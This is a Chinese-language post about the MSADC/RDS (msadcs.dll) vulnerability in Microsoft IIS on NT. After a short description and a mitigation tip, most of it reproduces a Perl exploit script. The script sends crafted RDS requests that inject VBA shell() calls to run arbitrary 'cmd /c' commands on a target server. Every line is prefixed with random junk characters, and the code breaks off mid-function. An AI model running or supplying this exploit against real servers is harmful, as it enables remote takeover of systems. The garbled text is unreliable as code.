IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^ <+V[=X O|Y~^:ny 涉及程序:
Ydh+iLjhx Microsoft NT server
~)]R YC =:W 描述:
xtX`3=s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
M IR))j; URDXyAt 详细:
y"Jma`Vjq 如果你没有时间读详细内容的话,就删除:
h)sQ3B.}A c:\Program Files\Common Files\System\Msadc\msadcs.dll
'2xfU 有关的安全问题就没有了。
*.A{p ;JC( 3mLtnRX[m 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
{M P(*N )~ghb"K 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
#0 eop>O 关于利用ODBC远程漏洞的描述,请参看:
7uxUqM @wx http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Q<fDtf} Y]:Ch (Q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
|&AZ95v http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9"b =W@ 9{XV=a v 这里不再论述。
uN9J?j*ir ,?`Zrxe[ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
3s$vaV~(a 9<-7AN}Z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
nn{PhyK 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
_?c7{ i6$q1* roHJ$~q? #将下面这段保存为txt文件,然后: "perl -x 文件名"
oS#PBql4 {6gY6X-R #!perl
Ql{:H5 #
"aJfW # MSADC/RDS 'usage' (aka exploit) script
Q;0g #
3\0,>L9ET@ # by rain.forest.puppy
}BJR/r #
D;+sStZK3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
P8n |MN # beta test and find errors!
K)s{D]B /=S\v<z use Socket; use Getopt::Std;
T!Z).PA# getopts("e:vd:h:XR", \%args);
o' Kl+gw4 0c$ ')`!m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#Mrc!pT]xy W?R@ eq.9 if (!defined $args{h} && !defined $args{R}) {
7~m[:Eg6[s print qq~
v)%0`%nSR Usage: msadc.pl -h <host> { -d <delay> -X -v }
%>!$eCX -h <host> = host you want to scan (ip or domain)
R 9b0D>Lxt -d <seconds> = delay between calls, default 1 second
u E<1PgW -X = dump Index Server path table, if available
bSj-xxB]e -v = verbose
JNxrs~} -e = external dictionary file for step 5
r Zg(%6@ pMLTXqL Or a -R will resume a command session
#(G"ya pRGag~h|E ~; exit;}
Oe"nNvu/ (svKq(X $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
.r\|9 *j< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
/xw}]Fa5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
G:i>MJbxT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
nr- 32u $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
A Y_GD ^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
D&!c7_ ^ hK 1 H'~c if (!defined $args{R}){ $ret = &has_msadc;
';KWHk8C die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
84A:Rd'k3) 't3&,:Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[K""6D . "cmd /c ";
pI1IDu*_Z $in=<STDIN>; chomp $in;
lAJP X $command="cmd /c " . $in ;
jAak,[~; e)*-<AGwC if (defined $args{R}) {&load; exit;}
Y4{/P1F }}u16x}*n print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
k\KI#.> &try_btcustmr;
>.&E-1[+: XNQPyZ2@|b print "\nStep 2: Trying to make our own DSN...";
AfvIzsT0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\%|%C G|.6%- print "\nStep 3: Trying known DSNs...";
#&K? N
&known_dsn;
DLD 5> PpezWo)9 print "\nStep 4: Trying known .mdbs...";
vC!B}~RG &known_mdb;
^5rB/y, =2e{T J/ if (defined $args{e}){
~'w]%rh! print "\nStep 5: Trying dictionary of DSN names...";
fxknfgbg &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
UT_kw}1o =buarxk print "Sorry Charley...maybe next time?\n";
#MUY! exit;
#T++5G K8RV=3MBLD ##############################################################################
l-$5CO =B0AG9Fz sub sendraw { # ripped and modded from whisker
U88gJ[$ sleep($delay); # it's a DoS on the server! At least on mine...
3@wio[ my ($pstr)=@_;
]\ t20R{z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*=X61`0 die("Socket problems\n");
pch8A0JAl) if(connect(S,pack "SnA4x8",2,80,$target)){
;e0-FF+ select(S); $|=1;
jr/IU=u*v print $pstr; my @in=<S>;
"P
yG;N!W select(STDOUT); close(S);
wWQt return @in;
1xjWD30 } else { die("Can't connect...\n"); }}
z-_$P)[c ~Z' /b|x<3 ##############################################################################
~-
eB 5Zn: $?7 sub make_header { # make the HTTP request
m{f+! my $msadc=<<EOT
aRy" _dZ2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|J$Bj? User-Agent: ACTIVEDATA
?D;7ut$~ Host: $ip
^J'O8G$ Content-Length: $clen
%#TAz7 Connection: Keep-Alive
fLZ mQO u4h.\ul8% ADCClientVersion:01.06
=
( 4l Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Vp&"[rC_z M}]4tAyT --!ADM!ROX!YOUR!WORLD!
N"s"^}M\ Content-Type: application/x-varg
mC}
b>\ Content-Length: $reqlen
wizLA0W eI98J"h%? EOT
@*BVS'\ ; $msadc=~s/\n/\r\n/g;
z||FmL{ return $msadc;}
lC@wCgc `*3;sq%` ##############################################################################
x27$h)R0v ;$3epP sub make_req { # make the RDS request
T_[ my ($switch, $p1, $p2)=@_;
`6<Qb= my $req=""; my $t1, $t2, $query, $dsn;
hWi2S!*Y m-]F]c=)w< if ($switch==1){ # this is the btcustmr.mdb query
Cd|rDa $query="Select * from Customers where City=" . make_shell();
80K"u[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
eW;c
3< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r4Xaa< S
9|^VU elsif ($switch==2){ # this is general make table query
MavidkS
$query="create table AZZ (B int, C varchar(10))";
\%_sL#? $dsn="$p1";}
b%7zu}F b9VI(s> elsif ($switch==3){ # this is general exploit table query
;?C`Jagx $query="select * from AZZ where C=" . make_shell();
|lN=q44I $dsn="$p1";}
L@.Trso 1d OB| elsif ($switch==4){ # attempt to hork file info from index server
!X`cNd)0Xo $query="select path from scope()";
;@qQ^!g2 $dsn="Provider=MSIDXS;";}
f.0HIc is=x6G*r elsif ($switch==5){ # bad query
T?CQgVR $query="select";
+wfZFJ:1l $dsn="$p1";}
A<IV"bo +mN8uU~(kx $t1= make_unicode($query);
NfZC} $t2= make_unicode($dsn);
.Hg{$SAC(w $req = "\x02\x00\x03\x00";
g){gF( $req.= "\x08\x00" . pack ("S1", length($t1));
@(IA:6GN $req.= "\x00\x00" . $t1 ;
4lI&y<F $req.= "\x08\x00" . pack ("S1", length($t2));
eoJ*?v $req.= "\x00\x00" . $t2 ;
[8>#b_> $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
J;ycAF ~ return $req;}
z{/#/,V5D4 8X/SNRk6p ##############################################################################
vAjog])9s h+w1 D} * sub make_shell { # this makes the shell() statement
WW-}c;cnK return "'|shell(\"$command\")|'";}
?
M.'YB2 XB a^
A ##############################################################################
*ZIX76y<!A iD/+#UTY sub make_unicode { # quick little function to convert to unicode
|h6,.#n my ($in)=@_; my $out;
N{<5)L~Y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!Wj`U$]; return $out;}
jOZ>^5} E8 5TCS1 ##############################################################################
AoY!f'Z W6):IW(E sub rdo_success { # checks for RDO return success (this is kludge)
rNICK2Ah my (@in) = @_; my $base=content_start(@in);
1Se2@WR' if($in[$base]=~/multipart\/mixed/){
(:R5"|]@<x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Pm QeO*f+ return 0;}
5sSAH _o&NbDH ##############################################################################
+0%Y.O/{ 0}M'> sub make_dsn { # this makes a DSN for us
EyHL& my @drives=("c","d","e","f");
jI~$iDdOfs print "\nMaking DSN: ";
]2{]TJ@B foreach $drive (@drives) {
,+X:#$ print "$drive: ";
T8^l}Y
B my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
js!C`]1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*VUJ);7k . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
HY;kV6g{P $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
/J9Or{#r return 0 if $2 eq "404"; # not found/doesn't exist
PKd'lo if($2 eq "200") {
X{ :3UTBR foreach $line (@results) {
,;Uf>8~ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rr>6; } return 0;}
K5z<n0X ~ OTNI@jQ) ##############################################################################
_Ud! tK*H =CO'LyG sub verify_exists {
j%}9tM6[ my ($page)=@_;
M"-.D;sa1 my @results=sendraw("GET $page HTTP/1.0\n\n");
f1XM_ return $results[0];}
)u0/s' 4UND;I& ##############################################################################
/. H(& OzR<jCOS sub try_btcustmr {
2`A[<